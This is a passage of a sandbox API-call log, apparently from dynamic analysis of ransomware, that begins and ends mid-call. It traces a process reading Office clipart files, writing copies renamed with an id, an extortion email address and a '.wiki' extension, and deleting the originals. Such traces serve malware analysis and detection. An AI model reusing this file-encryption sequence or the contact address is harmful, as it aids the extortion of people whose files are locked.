(lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.051] lstrlenW (lpString=".ppt") returned 4 [0193.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.051] lstrlenW (lpString=".zip") returned 4 [0193.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.051] lstrlenW (lpString=".rar") returned 4 [0193.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString=".bz2") returned 4 [0193.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString=".7z") returned 3 [0193.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.051] lstrlenW (lpString=".dbf") returned 4 [0193.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.051] lstrlenW (lpString=".1cd") returned 4 [0193.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.051] lstrlenW (lpString=".jpg") returned 4 [0193.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.051] lstrlenW (lpString=".doc") returned 4 [0193.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.051] lstrlenW (lpString=".docx") returned 5 [0193.051] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0193.052] lstrlenW (lpString=".pdf") returned 4 [0193.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.052] lstrlenW (lpString=".xls") returned 4 [0193.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.052] lstrlenW (lpString=".xlsx") returned 5 [0193.052] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0193.052] lstrlenW (lpString=".ppt") returned 4 [0193.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.052] lstrlenW (lpString=".zip") returned 4 [0193.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.052] lstrlenW (lpString=".rar") returned 4 [0193.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.052] lstrlenW (lpString=".bz2") returned 4 [0193.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.052] lstrlenW (lpString=".7z") returned 3 [0193.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.052] lstrlenW (lpString=".dbf") returned 4 [0193.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.052] lstrlenW (lpString=".1cd") returned 4 [0193.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF") returned 63 [0193.052] lstrlenW (lpString=".jpg") returned 4 [0193.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.052] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.052] lstrlenW (lpString="J0105234.WMF") returned 12 [0193.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.053] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3444) returned 1 [0193.053] CloseHandle (hObject=0x1dc) returned 1 [0193.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0193.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.053] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.053] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.054] GetLastError () returned 0x0 [0193.054] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xd74, lpOverlapped=0x0) returned 1 [0193.055] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd80, lpOverlapped=0x0) returned 1 [0193.056] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.056] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.056] SetEndOfFile (hFile=0x200) returned 1 [0193.056] CloseHandle (hObject=0x200) returned 1 [0193.056] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.056] SetEndOfFile (hFile=0x1dc) returned 1 [0193.057] CloseHandle (hObject=0x1dc) returned 1 [0193.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0193.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.058] lstrlenW (lpString=".doc") returned 4 [0193.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString=".docx") returned 5 [0193.058] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.058] lstrlenW (lpString=".pdf") returned 4 [0193.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString=".xls") returned 4 [0193.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.058] lstrlenW (lpString=".xlsx") returned 5 [0193.058] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.058] lstrlenW (lpString=".ppt") returned 4 [0193.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.058] lstrlenW (lpString=".zip") returned 4 [0193.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.058] lstrlenW (lpString=".rar") returned 4 [0193.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString=".bz2") returned 4 [0193.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString=".7z") returned 3 [0193.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.058] lstrlenW (lpString=".dbf") returned 4 [0193.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.058] lstrlenW (lpString=".1cd") returned 4 [0193.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.058] lstrlenW (lpString=".jpg") returned 4 [0193.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.059] lstrlenW (lpString=".doc") returned 4 [0193.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString=".docx") returned 5 [0193.059] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.059] lstrlenW (lpString=".pdf") returned 4 [0193.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString=".xls") returned 4 [0193.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.059] lstrlenW (lpString=".xlsx") returned 5 [0193.059] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.059] lstrlenW (lpString=".ppt") returned 4 [0193.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.059] lstrlenW (lpString=".zip") returned 4 [0193.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.059] lstrlenW (lpString=".rar") returned 4 [0193.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString=".bz2") returned 4 [0193.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString=".7z") returned 3 [0193.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.059] lstrlenW (lpString=".dbf") returned 4 [0193.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.059] lstrlenW (lpString=".1cd") returned 4 [0193.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0193.059] lstrlenW (lpString=".jpg") returned 4 [0193.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.060] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.060] lstrlenW (lpString="J0105238.WMF") returned 12 [0193.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.060] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17172) returned 1 [0193.060] CloseHandle (hObject=0x1dc) returned 1 [0193.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0193.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.060] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.061] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.061] GetLastError () returned 0x0 [0193.061] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4314, lpOverlapped=0x0) returned 1 [0193.063] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4320, lpOverlapped=0x0) returned 1 [0193.064] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.064] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.064] SetEndOfFile (hFile=0x200) returned 1 [0193.064] CloseHandle (hObject=0x200) returned 1 [0193.064] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.064] SetEndOfFile (hFile=0x1dc) returned 1 [0193.065] CloseHandle (hObject=0x1dc) returned 1 [0193.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0193.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.066] lstrlenW (lpString=".doc") returned 4 [0193.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString=".docx") returned 5 [0193.066] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.066] lstrlenW (lpString=".pdf") returned 4 [0193.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString=".xls") returned 4 [0193.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.066] lstrlenW (lpString=".xlsx") returned 5 [0193.066] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.066] lstrlenW (lpString=".ppt") returned 4 [0193.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.066] lstrlenW (lpString=".zip") returned 4 [0193.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.066] lstrlenW (lpString=".rar") returned 4 [0193.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString=".bz2") returned 4 [0193.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString=".7z") returned 3 [0193.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.066] lstrlenW (lpString=".dbf") returned 4 [0193.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.066] lstrlenW (lpString=".1cd") returned 4 [0193.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.066] lstrlenW (lpString=".jpg") returned 4 [0193.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.067] lstrlenW (lpString=".doc") returned 4 [0193.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString=".docx") returned 5 [0193.067] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.067] lstrlenW (lpString=".pdf") returned 4 [0193.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString=".xls") returned 4 [0193.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.067] lstrlenW (lpString=".xlsx") returned 5 [0193.067] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.067] lstrlenW (lpString=".ppt") returned 4 [0193.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.067] lstrlenW (lpString=".zip") returned 4 [0193.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.067] lstrlenW (lpString=".rar") returned 4 [0193.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString=".bz2") returned 4 [0193.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString=".7z") returned 3 [0193.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.067] lstrlenW (lpString=".dbf") returned 4 [0193.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.067] lstrlenW (lpString=".1cd") returned 4 [0193.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0193.067] lstrlenW (lpString=".jpg") returned 4 [0193.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.068] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.068] lstrlenW (lpString="J0105240.WMF") returned 12 [0193.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.068] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11532) returned 1 [0193.068] CloseHandle (hObject=0x1dc) returned 1 [0193.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0193.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.068] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.068] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.069] GetLastError () returned 0x0 [0193.069] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2d0c, lpOverlapped=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2d10, lpOverlapped=0x0) returned 1 [0193.072] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.072] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.072] SetEndOfFile (hFile=0x200) returned 1 [0193.072] CloseHandle (hObject=0x200) returned 1 [0193.072] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.072] SetEndOfFile (hFile=0x1dc) returned 1 [0193.246] CloseHandle (hObject=0x1dc) returned 1 [0193.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0193.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.255] lstrlenW (lpString=".doc") returned 4 [0193.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.255] lstrlenW (lpString=".docx") returned 5 [0193.255] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.255] lstrlenW (lpString=".pdf") returned 4 [0193.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.262] lstrlenW (lpString=".xls") returned 4 [0193.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.263] lstrlenW (lpString=".xlsx") returned 5 [0193.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.271] lstrlenW (lpString=".ppt") returned 4 [0193.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0193.271] lstrlenW (lpString=".zip") returned 4 [0193.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.271] lstrlenW (lpString=".rar") returned 4 [0193.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString=".bz2") returned 4 [0193.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.278] lstrlenW (lpString=".7z") returned 3 [0193.278] lstrcmpiW 